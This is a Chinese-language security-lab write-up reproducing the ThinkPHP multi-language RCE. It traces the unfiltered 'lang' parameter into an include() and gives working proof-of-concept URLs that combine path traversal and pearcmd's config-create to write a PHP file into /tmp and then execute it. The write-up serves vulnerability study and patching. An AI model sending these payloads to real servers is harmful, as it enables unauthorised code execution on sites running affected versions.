ThinkPHP多語言rce復現分析
前言
前段時間爆出的ThinkPHP多語言rce很有意思,最近剛好有時間就學習一下。
一、漏洞信息
利用條件:
1.安裝并已知pearcmd.php的文件位置。(默認位置 /usr/local/lib/php/pearcmd.php,Docker版本的鏡像中pear默認安裝)
2.需要開啟php.ini中register_argc_argv選項。(docker的PHP鏡像是默認開啟的)
3.thinkphp開啟多語言功能
影響范圍
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
二、環境搭建
下載源碼:https://github.com/top-think/think
以v6.0.12為例下載解壓
修改composer.json中“require”部分
"require": { "php": ">=7.2.5", "topthink/framework": "6.0.12", "topthink/think-orm": "^2.0"},
執行命令:composer install 安裝完成
打開多語言功能:app/middleware.php。中取消注釋
- \think\middleware\LoadLangPack::class,
安裝pear:
1、下載 go-pear.phar http://pear.php.net/go-pear.phar
2、執行 php go-pear.phar 設置1-12選項路徑,安裝。
或使用docker
docker run --name tp123 -p 8005:80 -d vulfocus/thinkphp:6.0.12
三、漏洞分析
首先看LoadLangPack這個類,handle()函數 中先調用detect()方法在請求中檢查是否有參數設置語言

多個判斷中檢查了get、header、cookie等位置,config['allow_lang_list']默認為空情況下,$langSet賦給$range并返回

又回到handle()中$this->lang->switchLangSet($langset); 執行
參數傳入該函數內,拼接:thinkphp路徑/lang/ + 用戶參數$langset + .php。后傳進load()函數

跟進load函數,發現參數傳進load函數中,在167行又被傳到parse函數內

而parse函數直接用include對$file進行包含,也是漏洞觸發點。
從上邊流程看出從獲取參數到傳入parse() 內都未對內容進行過濾。
四、漏洞復現
測試環境:macos 、php7.3、apache2.4

1.首先測試是否存在pearcmd,當返回如下圖信息就代表pearcmd存在
http://127.0.0.1/?lang=../../../../../../../../usr/local/lib/php/pearcmd

路徑要修改指向你當前環境中 pearcmd.php 的位置。
如圖,我當前環境pearcmd安裝路徑為
“/usr/local/pear/share/pear/pearcmd.php”。
2.先來了解如何利用pear
當開啟register_argc_argv時,提交的參數都會傳入 $_SERVER[‘argv’]變量內

可見&是無法分割參數的,會被當作一個整體。等號無法賦值,會被直接傳進參數
當使用+號分割,將會作為數組,而pear執行是通過 readPHPArgv()來獲取argv內容。

對應如下命令:
pear config-create /xxxxxxx1 /tmp/test.php
config-create命令用法,第一個參數為要寫入內容,第二參數為要寫入路徑

3.使用poc測試,在/tmp 目錄下寫入admin.php文件。
/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/+/tmp/admin.php
注:測試時發現通過get方式提交時 尖括號會被瀏覽器url編碼為 %3C?=phpinfo();?%3E ,并將編碼后內容%3c,%3e寫入文件,在解析php文件時找不到有效

用burp修改,正確寫入后的響應如下:

此時文件已正確寫入/tmp目錄下,說明
“ /&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/ ”部分被正常解析為get請求。
當成功包含pearcmd文件時,才能利用pear寫入文件

也可正常方式寫:
http://url/?lang=../../../../../../../../../../usr/local/pear/share/pear/pearcmd&+config-create+/+/tmp/hello.php

4.利用文件包含,解析文件
/index.php?lang=../../../../../../../../tmp/admin
再次利用文件包含去訪問我們寫入的文件。

成功解析文件。
當然不止config-create,還可以用Install命令下載

雷石安全實驗室
商務咨詢:
0571-87031601
商務郵箱:
mtn@motanni.com
